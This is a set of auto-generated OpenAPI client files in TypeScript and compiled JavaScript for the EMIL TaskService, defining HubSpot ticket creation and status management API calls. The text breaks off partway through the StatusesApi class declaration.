| * @export | ||
| */ | ||
| export declare const HubSpotApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket: (createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * HubSpotApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const HubSpotApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket(createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateHubSpotTicketResponseClass>>; | ||
| }; | ||
| /** | ||
| * HubSpotApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const HubSpotApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket(createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto, authorization?: string, options?: any): AxiosPromise<CreateHubSpotTicketResponseClass>; | ||
| }; | ||
| /** | ||
| * Request parameters for createHubSpotTicket operation in HubSpotApi. | ||
| * @export | ||
| * @interface HubSpotApiCreateHubSpotTicketRequest | ||
| */ | ||
| export interface HubSpotApiCreateHubSpotTicketRequest { | ||
| /** | ||
| * | ||
| * @type {CreateHubSpotTicketRequestDto} | ||
| * @memberof HubSpotApiCreateHubSpotTicket | ||
| */ | ||
| readonly createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof HubSpotApiCreateHubSpotTicket | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * HubSpotApi - object-oriented interface | ||
| * @export | ||
| * @class HubSpotApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class HubSpotApi extends BaseAPI { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {HubSpotApiCreateHubSpotTicketRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof HubSpotApi | ||
| */ | ||
| createHubSpotTicket(requestParameters: HubSpotApiCreateHubSpotTicketRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateHubSpotTicketResponseClass, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.HubSpotApi = exports.HubSpotApiFactory = exports.HubSpotApiFp = exports.HubSpotApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * HubSpotApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var HubSpotApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket: function (createHubSpotTicketRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'createHubSpotTicketRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('createHubSpotTicket', 'createHubSpotTicketRequestDto', createHubSpotTicketRequestDto); | ||
| localVarPath = "/taskservice/v1/hub-spot-tickets"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(createHubSpotTicketRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.HubSpotApiAxiosParamCreator = HubSpotApiAxiosParamCreator; | ||
| /** | ||
| * HubSpotApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var HubSpotApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.HubSpotApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket: function (createHubSpotTicketRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.createHubSpotTicket(createHubSpotTicketRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.HubSpotApiFp = HubSpotApiFp; | ||
| /** | ||
| * HubSpotApi - factory interface | ||
| * @export | ||
| */ | ||
| var HubSpotApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.HubSpotApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket: function (createHubSpotTicketRequestDto, authorization, options) { | ||
| return localVarFp.createHubSpotTicket(createHubSpotTicketRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.HubSpotApiFactory = HubSpotApiFactory; | ||
| /** | ||
| * HubSpotApi - object-oriented interface | ||
| * @export | ||
| * @class HubSpotApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var HubSpotApi = /** @class */ (function (_super) { | ||
| __extends(HubSpotApi, _super); | ||
| function HubSpotApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {HubSpotApiCreateHubSpotTicketRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof HubSpotApi | ||
| */ | ||
| HubSpotApi.prototype.createHubSpotTicket = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.HubSpotApiFp)(this.configuration).createHubSpotTicket(requestParameters.createHubSpotTicketRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return HubSpotApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.HubSpotApi = HubSpotApi; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { CreateStatusRequestDto } from '../models'; | ||
| import { CreateStatusResponseClass } from '../models'; | ||
| import { GetStatusResponseClass } from '../models'; | ||
| import { ListStatusesResponseClass } from '../models'; | ||
| import { PatchStatusRequestDto } from '../models'; | ||
| import { PatchStatusResponseClass } from '../models'; | ||
| /** | ||
| * StatusesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const StatusesApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus: (createStatusRequestDto: CreateStatusRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus: (code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses: (authorization?: string, filter?: string, filters?: string, search?: string, order?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus: (code: string, patchStatusRequestDto: PatchStatusRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * StatusesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const StatusesApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus(createStatusRequestDto: CreateStatusRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateStatusResponseClass>>; | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>>; | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus(code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetStatusResponseClass>>; | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses(authorization?: string, filter?: string, filters?: string, search?: string, order?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListStatusesResponseClass>>; | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus(code: string, patchStatusRequestDto: PatchStatusRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<PatchStatusResponseClass>>; | ||
| }; | ||
| /** | ||
| * StatusesApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const StatusesApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus(createStatusRequestDto: CreateStatusRequestDto, authorization?: string, options?: any): AxiosPromise<CreateStatusResponseClass>; | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus(code: string, authorization?: string, options?: any): AxiosPromise<void>; | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus(code: string, authorization?: string, expand?: string, options?: any): AxiosPromise<GetStatusResponseClass>; | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listStatuses(authorization?: string, filter?: string, filters?: string, search?: string, order?: string, expand?: string, options?: any): AxiosPromise<ListStatusesResponseClass>; | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {string} code | ||
| * @param {PatchStatusRequestDto} patchStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchStatus(code: string, patchStatusRequestDto: PatchStatusRequestDto, authorization?: string, options?: any): AxiosPromise<PatchStatusResponseClass>; | ||
| }; | ||
| /** | ||
| * Request parameters for createStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiCreateStatusRequest | ||
| */ | ||
| export interface StatusesApiCreateStatusRequest { | ||
| /** | ||
| * | ||
| * @type {CreateStatusRequestDto} | ||
| * @memberof StatusesApiCreateStatus | ||
| */ | ||
| readonly createStatusRequestDto: CreateStatusRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiCreateStatus | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for deleteStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiDeleteStatusRequest | ||
| */ | ||
| export interface StatusesApiDeleteStatusRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof StatusesApiDeleteStatus | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiDeleteStatus | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for getStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiGetStatusRequest | ||
| */ | ||
| export interface StatusesApiGetStatusRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof StatusesApiGetStatus | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiGetStatus | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * Expand to fetch additional information about the status. | ||
| * @type {string} | ||
| * @memberof StatusesApiGetStatus | ||
| */ | ||
| readonly expand?: string; | ||
| } | ||
| /** | ||
| * Request parameters for listStatuses operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiListStatusesRequest | ||
| */ | ||
| export interface StatusesApiListStatusesRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly filter?: string; | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly filters?: string; | ||
| /** | ||
| * Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly search?: string; | ||
| /** | ||
| * Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly order?: string; | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @type {string} | ||
| * @memberof StatusesApiListStatuses | ||
| */ | ||
| readonly expand?: string; | ||
| } | ||
| /** | ||
| * Request parameters for patchStatus operation in StatusesApi. | ||
| * @export | ||
| * @interface StatusesApiPatchStatusRequest | ||
| */ | ||
| export interface StatusesApiPatchStatusRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof StatusesApiPatchStatus | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * | ||
| * @type {PatchStatusRequestDto} | ||
| * @memberof StatusesApiPatchStatus | ||
| */ | ||
| readonly patchStatusRequestDto: PatchStatusRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof StatusesApiPatchStatus | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * StatusesApi - object-oriented interface | ||
| * @export | ||
| * @class StatusesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class StatusesApi extends BaseAPI { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {StatusesApiCreateStatusRequest} requestParameters Request parameters. | ||
